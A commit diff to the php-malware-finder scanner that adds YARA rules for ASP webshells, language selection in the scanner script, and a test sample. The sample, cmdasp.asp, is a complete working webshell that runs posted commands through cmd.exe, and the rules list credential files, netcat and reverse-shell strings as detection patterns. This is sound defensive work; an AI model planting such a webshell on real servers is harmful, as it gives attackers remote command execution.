diff options
| author | xarkes | 2016-03-30 09:50:01 +0200 |
|---|---|---|
| committer | Julien (jvoisin) Voisin | 2016-03-31 11:00:33 +0200 |
| commit | e3b724a688ed658214660b28ed3763e8db9e3f96 (patch) | |
| tree | 2b98ca58228e11e8c47e4b0fdeecbd36a0a2899d | |
| parent | fe595117cb7019b7fdf497ea26e11fba5f379d07 (diff) | |
Add ASP webshell detection
| -rw-r--r-- | php-malware-finder/asp.yara | 46 | ||||
| -rw-r--r-- | php-malware-finder/common.yara | 145 | ||||
| -rw-r--r-- | php-malware-finder/docroot-check.sh | 2 | ||||
| -rw-r--r-- | php-malware-finder/generate_whitelist.py | 7 | ||||
| -rw-r--r-- | php-malware-finder/php.yara (renamed from php-malware-finder/malwares.yara) | 140 | ||||
| -rwxr-xr-x | php-malware-finder/phpmalwarefinder | 59 | ||||
| -rw-r--r-- | php-malware-finder/samples/classic/cmdasp.asp | 55 | ||||
| -rwxr-xr-x | php-malware-finder/tests.sh | 13 |
8 files changed, 317 insertions, 150 deletions
diff --git a/php-malware-finder/asp.yara b/php-malware-finder/asp.yara new file mode 100644 index 0000000..26483a1 --- /dev/null +++ b/php-malware-finder/asp.yara | |||
| @@ -0,0 +1,46 @@ | |||
| 1 | import "hash" | ||
| 2 | include "whitelist.yara" | ||
| 3 | include "common.yara" | ||
| 4 | |||
| 5 | global private rule IsAsp | ||
| 6 | { | ||
| 7 | strings: | ||
| 8 | $asp = /<%|@{}/ | ||
| 9 | $cs = /using .{4,25};/ | ||
| 10 | |||
| 11 | condition: | ||
| 12 | ($asp or $cs) and filesize < 5MB | ||
| 13 | } | ||
| 14 | |||
| 15 | rule ObfuscatedAsp | ||
| 16 | { | ||
| 17 | strings: | ||
| 18 | $ = /LANGUAGE\s*=\s*VBScript.Encode/ nocase | ||
| 19 | $ = /(".{1,5}"&){5,}/ // "e"&"v"&"a"&"l" | ||
| 20 | $ = /(chr\s*\(\s*\d{1,3}\s*\)[+\)\s]*){5,}/ nocase // chr(114)+chr(101)+chr(113)+chr(117)+chr(101) | ||
| 21 | $stunnix = /execute\("dIm [a-z]*"\):[a-z]* = unescape/ nocase // http://stunnix.com/ | ||
| 22 | |||
| 23 | condition: | ||
| 24 | any of them and not IsWhitelisted | ||
| 25 | } | ||
| 26 | |||
| 27 | rule ObfuscatedEncodingAsp | ||
| 28 | { | ||
| 29 | strings: | ||
| 30 | $unicode = /\\u[a-f0-9]/ nocase | ||
| 31 | $html_encode = /&#([0-9]{3}|x[a-f0-9]{2});/ nocase | ||
| 32 | |||
| 33 | condition: | ||
| 34 | (#unicode >= 10 or #html_encode >= 10) and not IsWhitelisted | ||
| 35 | } | ||
| 36 | |||
| 37 | rule DangerousAsp | ||
| 38 | { | ||
| 39 | strings: | ||
| 40 | $ = /createobject\s*\(\s*"(WScript\.Shell|WScript\.Network|Shell\.Application|Scripting\.FileSystemObject|ScriptControl)/ nocase | ||
| 41 | $ = /eval\s*\({0,1}\s*request/ nocase | ||
| 42 | |||
| 43 | condition: | ||
| 44 | 2 of them and not IsWhitelisted | ||
| 45 | } | ||
| 46 | |||
diff --git a/php-malware-finder/common.yara b/php-malware-finder/common.yara new file mode 100644 index 0000000..38b6726 --- /dev/null +++ b/php-malware-finder/common.yara | |||
| @@ -0,0 +1,145 @@ | |||
| 1 | private rule IRC | ||
| 2 | { | ||
| 3 | strings: | ||
| 4 | $ = "USER" fullword | ||
| 5 | $ = "PASS" fullword | ||
| 6 | $ = "PRIVMSG" fullword | ||
| 7 | $ = "MODE" fullword | ||
| 8 | $ = "PING" fullword | ||
| 9 | $ = "PONG" fullword | ||
| 10 | $ = "JOIN" fullword | ||
| 11 | $ = "PART" fullword | ||
| 12 | |||
| 13 | condition: | ||
| 14 | 5 of them | ||
| 15 | } | ||
| 16 | |||
| 17 | private rule base64 | ||
| 18 | { | ||
| 19 | strings: | ||
| 20 | $eval = "ZXZhbCg" | ||
| 21 | $system = "c3lzdGVt" | ||
| 22 | $preg_replace = "cHJlZ19yZXBsYWNl" | ||
| 23 | $exec = "ZXhlYyg" | ||
| 24 | $base64_decode = "YmFzZTY0X2RlY29kZ" | ||
| 25 | $perl_shebang = "IyEvdXNyL2Jpbi9wZXJsCg" | ||
| 26 | $cmd_exe = "Y21kLmV4ZQ" | ||
| 27 | $powershell = "cG93ZXJzaGVsbC5leGU" | ||
| 28 | |||
| 29 | condition: | ||
| 30 | any of them | ||
| 31 | } | ||
| 32 | |||
| 33 | private rule hex | ||
| 34 | { | ||
| 35 | strings: | ||
| 36 | $globals = "\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53" nocase | ||
| 37 | $eval = "\\x65\\x76\\x61\\x6C\\x28" nocase | ||
| 38 | $exec = "\\x65\\x78\\x65\\x63" nocase | ||
| 39 | $system = "\\x73\\x79\\x73\\x74\\x65\\x6d" nocase | ||
| 40 | $preg_replace = "\\x70\\x72\\x65\\x67\\x5f\\x72\\x65\\x70\\x6c\\x61\\x63\\x65" nocase | ||
| 41 | $http_user_agent = "\\x48\\124\\x54\\120\\x5f\\125\\x53\\105\\x52\\137\\x41\\107\\x45\\116\\x54" nocase | ||
| 42 | |||
| 43 | condition: | ||
| 44 | any of them | ||
| 45 | } | ||
| 46 | |||
| 47 | rule SuspiciousEncoding | ||
| 48 | { | ||
| 49 | condition: | ||
| 50 | base64 or hex | ||
| 51 | } | ||
| 52 | |||
| 53 | rule DodgyStrings | ||
| 54 | { | ||
| 55 | strings: | ||
| 56 | $ = ".bash_history" | ||
| 57 | $ = /AddType\s+application\/x-httpd-php/ nocase | ||
| 58 | $ = /php_value\s*auto_prepend_file/ nocase | ||
| 59 | $ = /SecFilterEngine\s+Off/ nocase // disable modsec | ||
| 60 | $ = /Add(Handler|Type|OutputFilter)\s+[^\s]+\s+\.htaccess/ nocase | ||
| 61 | $ = ".mysql_history" | ||
| 62 | $ = ".ssh/authorized_keys" | ||
| 63 | $ = "/(.*)/e" // preg_replace code execution | ||
| 64 | $ = "/../../../" | ||
| 65 | $ = "/etc/passwd" | ||
| 66 | $ = "/etc/proftpd.conf" | ||
| 67 | $ = "/etc/resolv.conf" | ||
| 68 | $ = "/etc/shadow" | ||
| 69 | $ = "/etc/syslog.conf" | ||
| 70 | $ = "/proc/cpuinfo" fullword | ||
| 71 | $ = "/var/log/lastlog" | ||
| 72 | $ = "/windows/system32/" | ||
| 73 | $ = "LOAD DATA LOCAL INFILE" nocase | ||
| 74 | $ = "WScript.Shell" | ||
| 75 | $ = "WinExec" | ||
| 76 | $ = "b374k" fullword nocase | ||
| 77 | $ = "backdoor" fullword nocase | ||
| 78 | $ = /(c99|r57|fx29)shell/ | ||
| 79 | $ = "cmd.exe" fullword nocase | ||
| 80 | $ = "powershell.exe" fullword nocase | ||
| 81 | $ = /defac(ed|er|ement|ing)/ fullword nocase | ||
| 82 | $ = "evilc0ders" fullword nocase | ||
| 83 | $ = "exploit" fullword nocase | ||
| 84 | $ = "find . -type f" fullword | ||
| 85 | $ = "hashcrack" nocase | ||
| 86 | $ = "id_rsa" fullword | ||
| 87 | $ = "ipconfig" fullword nocase | ||
| 88 | $ = "kernel32.dll" fullword nocase | ||
| 89 | $ = "kingdefacer" nocase | ||
| 90 | $ = "Wireghoul" nocase fullword | ||
| 91 | $ = "libpcprofile" // CVE-2010-3856 local root | ||
| 92 | $ = "locus7s" nocase | ||
| 93 | $ = "ls -la" fullword | ||
| 94 | $ = "meterpreter" fullword | ||
| 95 | $ = "nc -l" fullword | ||
| 96 | $ = "php://" | ||
| 97 | $ = "ps -aux" fullword | ||
| 98 | $ = "rootkit" fullword nocase | ||
| 99 | $ = "slowloris" fullword nocase | ||
| 100 | $ = "suhosin.executor.func.blacklist" | ||
| 101 | $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. | ||
| 102 | $ = "uname -a" fullword | ||
| 103 | $ = "warez" fullword nocase | ||
| 104 | $ = "whoami" fullword | ||
| 105 | $ = /(reverse|web|cmd)\s*shell/ nocase | ||
| 106 | $ = /-perm -0[24]000/ // find setuid files | ||
| 107 | $ = /\/bin\/(ba)?sh/ fullword | ||
| 108 | $ = /hack(ing|er|ed)/ nocase | ||
| 109 | $ = /xp_(execresultset|regenumkeys|cmdshell|filelist)/ | ||
| 110 | |||
| 111 | $vbs = /language\s*=\s*vbscript/ nocase | ||
| 112 | $asp = "scripting.filesystemobject" nocase | ||
| 113 | |||
| 114 | condition: | ||
| 115 | IRC or 2 of them and not IsWhitelisted | ||
| 116 | } | ||
| 117 | |||
| 118 | rule Websites | ||
| 119 | { | ||
| 120 | strings: | ||
| 121 | $ = "1337day.com" nocase | ||
| 122 | $ = "antichat.ru" nocase | ||
| 123 | $ = "ccteam.ru" nocase | ||
| 124 | $ = "crackfor" nocase | ||
| 125 | $ = "darkc0de" nocase | ||
| 126 | $ = "egyspider.eu" nocase | ||
| 127 | $ = "exploit-db.com" nocase | ||
| 128 | $ = "fopo.com.ar" nocase /* Free Online Php Obfuscator */ | ||
| 129 | $ = "hashchecker.com" nocase | ||
| 130 | $ = "hashkiller.com" nocase | ||
| 131 | $ = "md5crack.com" nocase | ||
| 132 | $ = "md5decrypter.com" nocase | ||
| 133 | $ = "milw0rm.com" nocase | ||
| 134 | $ = "milw00rm.com" nocase | ||
| 135 | $ = "packetstormsecurity" nocase | ||
| 136 | $ = "rapid7.com" nocase | ||
| 137 | $ = "securityfocus" nocase | ||
| 138 | $ = "shodan.io" nocase | ||
| 139 | $ = "github.com/b374k/b374k" nocase | ||
| 140 | $ = "mumaasp.com" nocase | ||
| 141 | |||
| 142 | condition: | ||
| 143 | any of them and not IsWhitelisted | ||
| 144 | } | ||
| 145 | |||
diff --git a/php-malware-finder/docroot-check.sh b/php-malware-finder/docroot-check.sh index 4d280c2..fa67a11 100644 --- a/php-malware-finder/docroot-check.sh +++ b/php-malware-finder/docroot-check.sh | |||
| @@ -2,7 +2,7 @@ | |||
| 2 | 2 | ||
| 3 | PATH=/usr/bin:/bin:/sbin:/usr/sbin | 3 | PATH=/usr/bin:/bin:/sbin:/usr/sbin |
| 4 | apache_confdir="/etc/apache2/sites-available" | 4 | apache_confdir="/etc/apache2/sites-available" |
| 5 | pmf_conf="/etc/phpmalwarefinder/malwares.yara" | 5 | pmf_conf="/etc/phpmalwarefinder/php.yara" |
| 6 | pmf_cachedir="/tmp" | 6 | pmf_cachedir="/tmp" |
| 7 | 7 | ||
| 8 | # grab the different document roots to scan each and everyone of them | 8 | # grab the different document roots to scan each and everyone of them |
diff --git a/php-malware-finder/generate_whitelist.py b/php-malware-finder/generate_whitelist.py index e54de72..ca9fa2d 100644 --- a/php-malware-finder/generate_whitelist.py +++ b/php-malware-finder/generate_whitelist.py | |||
| @@ -13,8 +13,13 @@ except ImportError: | |||
| 13 | 13 | ||
| 14 | if len(sys.argv) != 3: | 14 | if len(sys.argv) != 3: |
| 15 | print 'Usage: %s name_of_the_rule_and_version folder_to_scan' % sys.argv[0] | 15 | print 'Usage: %s name_of_the_rule_and_version folder_to_scan' % sys.argv[0] |
| 16 | sys.exit(1) | ||
| 17 | |||
| 18 | if not os.path.isdir(sys.argv[2]): | ||
| 19 | print '%s is not a folder !' % sys.argv[2] | ||
| 20 | sys.exit(1) | ||
| 16 | 21 | ||
| 17 | rules = yara.compile('./malwares.yara', includes=True, error_on_warning=True) | 22 | rules = yara.compile('./php.yara', includes=True, error_on_warning=True) |
| 18 | 23 | ||
| 19 | output_list = list() | 24 | output_list = list() |
| 20 | 25 | ||
diff --git a/php-malware-finder/malwares.yara b/php-malware-finder/php.yara index f4e2dac..0f46025 100644 --- a/php-malware-finder/malwares.yara +++ b/php-malware-finder/php.yara | |||
| @@ -1,5 +1,6 @@ | |||
| 1 | import "hash" | 1 | import "hash" |
| 2 | include "whitelist.yara" | 2 | include "whitelist.yara" |
| 3 | include "common.yara" | ||
| 3 | 4 | ||
| 4 | /* | 5 | /* |
| 5 | Detect: | 6 | Detect: |
| @@ -32,22 +33,6 @@ global private rule IsPhp | |||
| 32 | $php and filesize < 5MB | 33 | $php and filesize < 5MB |
| 33 | } | 34 | } |
| 34 | 35 | ||
| 35 | private rule IRC | ||
| 36 | { | ||
| 37 | strings: | ||
| 38 | $ = "USER" fullword | ||
| 39 | $ = "PASS" fullword | ||
| 40 | $ = "PRIVMSG" fullword | ||
| 41 | $ = "MODE" fullword | ||
| 42 | $ = "PING" fullword | ||
| 43 | $ = "PONG" fullword | ||
| 44 | $ = "JOIN" fullword | ||
| 45 | $ = "PART" fullword | ||
| 46 | |||
| 47 | condition: | ||
| 48 | 5 of them | ||
| 49 | } | ||
| 50 | |||
| 51 | private rule CloudFlareBypass | 36 | private rule CloudFlareBypass |
| 52 | { | 37 | { |
| 53 | strings: | 38 | strings: |
| @@ -76,39 +61,6 @@ condition: | |||
| 76 | any of them and not IsWhitelisted | 61 | any of them and not IsWhitelisted |
| 77 | } | 62 | } |
| 78 | 63 | ||
| 79 | private rule base64 | ||
| 80 | { | ||
| 81 | strings: | ||
| 82 | $eval = "ZXZhbCg" | ||
| 83 | $system = "c3lzdGVt" | ||
| 84 | $preg_replace = "cHJlZ19yZXBsYWNl" | ||
| 85 | $exec = "ZXhlYyg" | ||
| 86 | $base64_decode = "YmFzZTY0X2RlY29kZ" | ||
| 87 | $perl_shebang = "IyEvdXNyL2Jpbi9wZXJsCg" | ||
| 88 | condition: | ||
| 89 | any of them | ||
| 90 | } | ||
| 91 | |||
| 92 | private rule hex | ||
| 93 | { | ||
| 94 | strings: | ||
| 95 | $globals = "\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53" nocase | ||
| 96 | $eval = "\\x65\\x76\\x61\\x6C\\x28" nocase | ||
| 97 | $exec = "\\x65\\x78\\x65\\x63" nocase | ||
| 98 | $system = "\\x73\\x79\\x73\\x74\\x65\\x6d" nocase | ||
| 99 | $preg_replace = "\\x70\\x72\\x65\\x67\\x5f\\x72\\x65\\x70\\x6c\\x61\\x63\\x65" nocase | ||
| 100 | $http_user_agent = "\\x48\\124\\x54\\120\\x5f\\125\\x53\\105\\x52\\137\\x41\\107\\x45\\116\\x54" nocase | ||
| 101 | |||
| 102 | condition: | ||
| 103 | any of them | ||
| 104 | } | ||
| 105 | |||
| 106 | rule SuspiciousEncoding | ||
| 107 | { | ||
| 108 | condition: | ||
| 109 | base64 or hex | ||
| 110 | } | ||
| 111 | |||
| 112 | rule DodgyPhp | 64 | rule DodgyPhp |
| 113 | { | 65 | { |
| 114 | strings: | 66 | strings: |
| @@ -191,93 +143,3 @@ rule DangerousPhp | |||
| 191 | not $whitelist and (5 of them or #system > 250) and not IsWhitelisted | 143 | not $whitelist and (5 of them or #system > 250) and not IsWhitelisted |
| 192 | } | 144 | } |
| 193 | 145 | ||
| 194 | rule DodgyStrings | ||
| 195 | { | ||
| 196 | strings: | ||
| 197 | $ = ".bash_history" | ||
| 198 | $ = /AddType\s+application\/x-httpd-php/ nocase | ||
| 199 | $ = /php_value\s*auto_prepend_file/ nocase | ||
| 200 | $ = /SecFilterEngine\s+Off/ nocase // disable modsec | ||
| 201 | $ = /Add(Handler|Type|OutputFilter)\s+[^\s]+\s+\.htaccess/ nocase | ||
| 202 | $ = ".mysql_history" | ||
| 203 | $ = ".ssh/authorized_keys" | ||
| 204 | $ = "/(.*)/e" // preg_replace code execution | ||
| 205 | $ = "/../../../" | ||
| 206 | $ = "/etc/passwd" | ||
| 207 | $ = "/etc/proftpd.conf" | ||
| 208 | $ = "/etc/resolv.conf" | ||
| 209 | $ = "/etc/shadow" | ||
| 210 | $ = "/etc/syslog.conf" | ||
| 211 | $ = "/proc/cpuinfo" fullword | ||
| 212 | $ = "/var/log/lastlog" | ||
| 213 | $ = "/windows/system32/" | ||
| 214 | $ = "LOAD DATA LOCAL INFILE" nocase | ||
| 215 | $ = "WScript.Shell" | ||
| 216 | $ = "WinExec" | ||
| 217 | $ = "b374k" fullword nocase | ||
| 218 | $ = "backdoor" fullword nocase | ||
| 219 | $ = /(c99|r57|fx29)shell/ | ||
| 220 | $ = "cmd.exe" fullword nocase | ||
| 221 | $ = /defac(ed|er|ement|ing)/ fullword nocase | ||
| 222 | $ = "evilc0ders" fullword nocase | ||
| 223 | $ = "exploit" fullword nocase | ||
| 224 | $ = "find . -type f" fullword | ||
| 225 | $ = "hashcrack" nocase | ||
| 226 | $ = "id_rsa" fullword | ||
| 227 | $ = "ipconfig" fullword nocase | ||
| 228 | $ = "kernel32.dll" fullword nocase | ||
| 229 | $ = "kingdefacer" nocase | ||
| 230 | $ = "Wireghoul" nocase fullword | ||
| 231 | $ = "libpcprofile" // CVE-2010-3856 local root | ||
| 232 | $ = "locus7s" nocase | ||
| 233 | $ = "ls -la" fullword | ||
| 234 | $ = "meterpreter" fullword | ||
| 235 | $ = "nc -l" fullword | ||
| 236 | $ = "php://" | ||
| 237 | $ = "ps -aux" fullword | ||
| 238 | $ = "rootkit" fullword nocase | ||
| 239 | $ = "slowloris" fullword nocase | ||
| 240 | $ = "suhosin.executor.func.blacklist" | ||
| 241 | $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. | ||
| 242 | $ = "uname -a" fullword | ||
| 243 | $ = "warez" fullword nocase | ||
| 244 | $ = "whoami" fullword | ||
| 245 | $ = /(reverse|web)\s*shell/ nocase | ||
| 246 | $ = /-perm -0[24]000/ // find setuid files | ||
| 247 | $ = /\/bin\/(ba)?sh/ fullword | ||
| 248 | $ = /hack(ing|er|ed)/ nocase | ||
| 249 | $ = /xp_(execresultset|regenumkeys|cmdshell|filelist)/ | ||
| 250 | |||
| 251 | $vbs = /language\s*=\s*vbscript/ nocase | ||
| 252 | $asp = "scripting.filesystemobject" nocase | ||
| 253 | |||
| 254 | condition: | ||
| 255 | IRC or 2 of them and not IsWhitelisted | ||
| 256 | } | ||
| 257 | |||
| 258 | rule Websites | ||
| 259 | { | ||
| 260 | strings: | ||
| 261 | $ = "1337day.com" nocase | ||
| 262 | $ = "antichat.ru" nocase | ||
| 263 | $ = "ccteam.ru" nocase | ||
| 264 | $ = "crackfor" nocase | ||
| 265 | $ = "darkc0de" nocase | ||
| 266 | $ = "egyspider.eu" nocase | ||
| 267 | $ = "exploit-db.com" nocase | ||
| 268 | $ = "fopo.com.ar" nocase /* Free Online Php Obfuscator */ | ||
| 269 | $ = "hashchecker.com" nocase | ||
| 270 | $ = "hashkiller.com" nocase | ||
| 271 | $ = "md5crack.com" nocase | ||
| 272 | $ = "md5decrypter.com" nocase | ||
| 273 | $ = "milw0rm.com" nocase | ||
| 274 | $ = "milw00rm.com" nocase | ||
| 275 | $ = "packetstormsecurity" nocase | ||
| 276 | $ = "rapid7.com" nocase | ||
| 277 | $ = "securityfocus" nocase | ||
| 278 | $ = "shodan.io" nocase | ||
| 279 | $ = "github.com/b374k/b374k" nocase | ||
| 280 | |||
| 281 | condition: | ||
| 282 | any of them and not IsWhitelisted | ||
| 283 | } | ||
diff --git a/php-malware-finder/phpmalwarefinder b/php-malware-finder/phpmalwarefinder index 8edb079..3dda46b 100755 --- a/php-malware-finder/phpmalwarefinder +++ b/php-malware-finder/phpmalwarefinder | |||
| @@ -2,7 +2,7 @@ | |||
| 2 | 2 | ||
| 3 | 3 | ||
| 4 | YARA=$(type -P yara) | 4 | YARA=$(type -P yara) |
| 5 | CONFIG_PATH='/etc/phpmalwarefinder/malwares.yara' | 5 | CONFIG_PATH='/etc/phpmalwarefinder/common.yara' |
| 6 | IONICE_BIN=$(type -P ionice) | 6 | IONICE_BIN=$(type -P ionice) |
| 7 | NICE_BIN=$(type -P nice) | 7 | NICE_BIN=$(type -P nice) |
| 8 | 8 | ||
| @@ -18,10 +18,11 @@ fi | |||
| 18 | 18 | ||
| 19 | if [ ! -f "$CONFIG_PATH" ] | 19 | if [ ! -f "$CONFIG_PATH" ] |
| 20 | then | 20 | then |
| 21 | CONFIG_PATH='./malwares.yara' | 21 | OLD_PATH=$CONFIG_PATH |
| 22 | CONFIG_PATH='./common.yara' | ||
| 22 | if [ ! -f "$CONFIG_PATH" ] | 23 | if [ ! -f "$CONFIG_PATH" ] |
| 23 | then | 24 | then |
| 24 | echo "Unable to find `malware.yara` in $CONFIG_PATH, and in the current directory." | 25 | echo "Unable to find 'common.yara' in $OLD_PATH, and in the current directory." |
| 25 | exit 0 | 26 | exit 0 |
| 26 | fi | 27 | fi |
| 27 | fi | 28 | fi |
| @@ -38,11 +39,43 @@ else | |||
| 38 | fi | 39 | fi |
| 39 | fi | 40 | fi |
| 40 | 41 | ||
| 42 | # Determines the format of the target | ||
| 43 | # Check only the file extension and it's not even accurate | ||
| 44 | determine_format() { | ||
| 45 | # First case: target is a file | ||
| 46 | if [ -f "$1" ]; then | ||
| 47 | echo "$1" | sed 's/.*\.//' | ||
| 48 | # Second case: it is a folder | ||
| 49 | elif [ -d "$1" ]; then | ||
| 50 | find "$1" -type f -name '*.*' | sed 's/.*\.//' | uniq -c | sort -nr | head -1 | awk '{print $2}' | ||
| 51 | fi | ||
| 52 | } | ||
| 53 | |||
| 41 | # before starting yara, check if the file | 54 | # before starting yara, check if the file |
| 55 | # TODO (too heavy) | ||
| 42 | one_line_trick() { | 56 | one_line_trick() { |
| 43 | 57 | ||
| 44 | find "$@" -type f -iname '*.ph*' -print0 | while IFS= read -r -d '' -r file; do | 58 | if [ -z "$FORMAT" ]; then |
| 45 | read -r lines _ chars _ <<< $(wc "$file") | 59 | FORMAT=$(determine_format "$1") |
| 60 | fi | ||
| 61 | |||
| 62 | case $FORMAT in | ||
| 63 | 'asp') | ||
| 64 | EXT='*.asp* -o -iname *.cs[^s]*' | ||
| 65 | ;; | ||
| 66 | 'php') | ||
| 67 | EXT='*.ph*' | ||
| 68 | ;; | ||
| 69 | *) | ||
| 70 | echo "Couldn't determine the file format, or cannot parse it. Exiting." | ||
| 71 | exit 1 | ||
| 72 | ;; | ||
| 73 | esac | ||
| 74 | |||
| 75 | echo "Target is $FORMAT." | ||
| 76 | |||
| 77 | find "$@" -type f -iname "$EXT" -print0 | while IFS= read -r -d '' -r file; do | ||
| 78 | read -r lines _ chars _ <<< "$(wc "$file")" | ||
| 46 | 79 | ||
| 47 | if [ "$lines" -le "2" ]; then | 80 | if [ "$lines" -le "2" ]; then |
| 48 | # humm, 2 lines long file ? | 81 | # humm, 2 lines long file ? |
| @@ -56,17 +89,18 @@ one_line_trick() { | |||
| 56 | 89 | ||
| 57 | show_help() { | 90 | show_help() { |
| 58 | cat << EOF | 91 | cat << EOF |
| 59 | Usage ${0##*/} [-cfhw] <file|folder> ... | 92 | Usage ${0##*/} [-cfhtvl] <file|folder> ... |
| 60 | -c Optional path to a configuration file | 93 | -c Optional path to a configuration file |
| 61 | -f Fast mode | 94 | -f Fast mode |
| 62 | -h Show this help message | 95 | -h Show this help message |
| 63 | -t Specify the number of threads to use (8 by default) | 96 | -t Specify the number of threads to use (8 by default) |
| 64 | -v Verbose mode | 97 | -v Verbose mode |
| 98 | -l Set language ('asp', 'php') | ||
| 65 | EOF | 99 | EOF |
| 66 | } | 100 | } |
| 67 | 101 | ||
| 68 | OPTIND=1 | 102 | OPTIND=1 |
| 69 | while getopts "c:fht:v" opt; do | 103 | while getopts "c:fht:vl:" opt; do |
| 70 | case "$opt" in | 104 | case "$opt" in |
| 71 | h) | 105 | h) |
| 72 | show_help | 106 | show_help |
| @@ -84,6 +118,9 @@ while getopts "c:fht:v" opt; do | |||
| 84 | v) | 118 | v) |
| 85 | OPTS="${OPTS} -s" | 119 | OPTS="${OPTS} -s" |
| 86 | ;; | 120 | ;; |
| 121 | l) | ||
| 122 | FORMAT=${OPTARG} | ||
| 123 | ;; | ||
| 87 | '?') | 124 | '?') |
| 88 | show_help | 125 | show_help |
| 89 | exit 1 | 126 | exit 1 |
| @@ -116,8 +153,12 @@ then | |||
| 116 | exit 1 | 153 | exit 1 |
| 117 | fi | 154 | fi |
| 118 | 155 | ||
| 119 | OPTS="${OPTS} -r ${CONFIG_PATH}" | ||
| 120 | 156 | ||
| 121 | one_line_trick "$@" | 157 | one_line_trick "$@" |
| 122 | 158 | ||
| 159 | # Include correct yara rule | ||
| 160 | CONFIG_PATH=${CONFIG_PATH%/*}/ | ||
| 161 | OPTS="${OPTS} -r ${CONFIG_PATH}${FORMAT}.yara" | ||
| 162 | |||
| 163 | # Execute rules | ||
| 123 | ${NICE} ${NICE_OPTS} $YARA $OPTS "$@" | 164 | ${NICE} ${NICE_OPTS} $YARA $OPTS "$@" |
diff --git a/php-malware-finder/samples/classic/cmdasp.asp b/php-malware-finder/samples/classic/cmdasp.asp new file mode 100644 index 0000000..31ba9a5 --- /dev/null +++ b/php-malware-finder/samples/classic/cmdasp.asp | |||
| @@ -0,0 +1,55 @@ | |||
| 1 | <%@ Language=VBScript %> | ||
| 2 | <% | ||
| 3 | ' --------------------o0o-------------------- | ||
| 4 | ' File: CmdAsp.asp | ||
| 5 | ' Author: Maceo <maceo @ dogmile.com> | ||
| 6 | ' Release: 2000-12-01 | ||
| 7 | ' OS: Windows 2000, 4.0 NT | ||
| 8 | ' ------------------------------------------- | ||
| 9 | |||
| 10 | Dim oScript | ||
| 11 | Dim oScriptNet | ||
| 12 | Dim oFileSys, oFile | ||
| 13 | Dim szCMD, szTempFile | ||
| 14 | |||
| 15 | On Error Resume Next | ||
| 16 | |||
| 17 | ' -- create the COM objects that we will be using -- ' | ||
| 18 | Set oScript = Server.CreateObject("WSCRIPT.SHELL") | ||
| 19 | Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") | ||
| 20 | Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") | ||
| 21 | |||
| 22 | ' -- check for a command that we have posted -- ' | ||
| 23 | szCMD = Request.Form(".CMD") | ||
| 24 | If (szCMD <> "") Then | ||
| 25 | |||
| 26 | ' -- Use a poor man's pipe ... a temp file -- ' | ||
| 27 | szTempFile = "C:\" & oFileSys.GetTempName( ) | ||
| 28 | Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) | ||
| 29 | Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) | ||
| 30 | |||
| 31 | End If | ||
| 32 | |||
| 33 | %> | ||
| 34 | <HTML> | ||
| 35 | <BODY> | ||
| 36 | <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> | ||
| 37 | <input type=text name=".CMD" size=45 value="<%= szCMD %>"> | ||
| 38 | <input type=submit value="Run"> | ||
| 39 | </FORM> | ||
| 40 | <PRE> | ||
| 41 | <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> | ||
| 42 | <br> | ||
| 43 | <% | ||
| 44 | If (IsObject(oFile)) Then | ||
| 45 | ' -- Read the output from our command and remove the temp file -- ' | ||
| 46 | On Error Resume Next | ||
| 47 | Response.Write Server.HTMLEncode(oFile.ReadAll) | ||
| 48 | oFile.Close | ||
| 49 | Call oFileSys.DeleteFile(szTempFile, True) | ||
| 50 | End If | ||
| 51 | %> | ||
| 52 | </BODY> | ||
| 53 | </HTML> | ||
| 54 | |||
| 55 | <!-- http://michaeldaw.org 2006 --> | ||
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index fe9141a..2dee339 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh | |||
| @@ -14,6 +14,16 @@ run_test(){ | |||
| 14 | CPT=$((CPT+1)) | 14 | CPT=$((CPT+1)) |
| 15 | } | 15 | } |
| 16 | 16 | ||
| 17 | run_test_asp(){ | ||
| 18 | NB_DETECTED=$(${PMF} -v -l asp "$SAMPLES"/"$1" | grep -c "$2" 2>/dev/null) | ||
| 19 | |||
| 20 | if [[ "$NB_DETECTED" != 1 ]]; then | ||
| 21 | echo "[-] $2 was not detected in $1, sorry" | ||
| 22 | exit 1 | ||
| 23 | fi | ||
| 24 | CPT=$((CPT+1)) | ||
| 25 | } | ||
| 26 | |||
| 17 | # Real samples | 27 | # Real samples |
| 18 | run_test cpanel.php '0x294d:$eval: {eval(' | 28 | run_test cpanel.php '0x294d:$eval: {eval(' |
| 19 | run_test freepbx.php 'ObfuscatedPhp' | 29 | run_test freepbx.php 'ObfuscatedPhp' |
| @@ -79,4 +89,7 @@ run_test artificial/bypasses.php 'DodgyPhp' | |||
| 79 | run_test artificial/bypasses.php '0x6d:$execution: call_user_func_array($_POST' | 89 | run_test artificial/bypasses.php '0x6d:$execution: call_user_func_array($_POST' |
| 80 | run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" | 90 | run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" |
| 81 | 91 | ||
| 92 | # Asp files | ||
| 93 | run_test_asp classic/cmdasp.asp 'DodgyStrings' | ||
| 94 | |||
| 82 | echo "[+] Congratz, the $CPT tests succeeded!" | 95 | echo "[+] Congratz, the $CPT tests succeeded!" |
